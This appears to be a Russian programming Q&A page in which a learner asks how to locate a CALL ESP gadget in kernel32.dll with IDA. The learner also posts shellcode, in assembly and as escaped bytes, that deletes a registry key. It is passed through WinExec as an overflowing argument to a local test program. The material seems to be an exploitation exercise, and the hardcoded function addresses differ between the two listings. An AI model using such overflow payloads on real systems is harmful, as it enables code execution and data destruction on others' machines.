Адрес инструкции CALL ESP - Assembler

Узнай цену своей работы

Формулировка задачи:

Здравствуйте, подскажите пожалуйста, как найти адрес инструкции CALL ESP в библиотеке kernel32.dll? Учусь пользоваться IDA'ой но никак не получается. Открываю библиотеку с помощью IDA'ы, дальше Hex View и ищу FF D4. Но дело в том, что подобных сочетаний там много, чистого FF D4 нигде нет, есть 41 FF D4. Да и их адреса почему-то постоянно меняются. В начале показывает 00000001800BCA20, потом после переключения на IDA View и обратно показывает 00000001800BCA27, после переключения на Structures и обратно показывает 00000001800BCA28.
И ещё. Был написан шелл-код, который должен удалять ключ реестра. Может кто проверить, правильно ли он написан?
push ebp
        mov ebp, esp
        lea eax, [ebp + 36]  #+байты шеллкода
        push eax
        xor eax, eax    # не читать нули
        add eax, 1
        shl eax, 31
        add eax, 1
        push eax
        mov eax, 74E93C39h  # адрес функции RegDeleteKey
        call eax
        mov eax, -1     
        push eax
        mov eax, 76C139E4h  # адрес функции ExitProcess
        call eax
WinExec("D:\\11prjct.exe "
        "123456789012"
        // тут будет адрес возврата
        "\x55"
        "\x8B\xEC"
        "\x8D\x45\x24"      // + добавить байты для шеллкода
        "\x50"
        "\x33\xC0"      
        "\x83\xC0\x01"
        "\xC1\xE0\x1F"
        "\x83\xC0\x01"
        "\x50"
        "\xB8\xC8\xC9\xB5\x74"  // адрес функции RegDeleteKey
        "\xFF\xD0"
        "\xB8\xFF\xFF\xFF\xFF"  //  mov eax, -1
        "\x50"
        "\xB8\x64\x7F\x14\x76"  // адрес функции ExitProcess
        "\xFF\xD0"
        "test", SW_SHOW);

Решение задачи: «Адрес инструкции CALL ESP»

textual
Листинг программы
RegDeleteKey(HKEY_CURRENT_USER,(char*)ebp+36);

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

15   голосов , оценка 4.133 из 5
Похожие ответы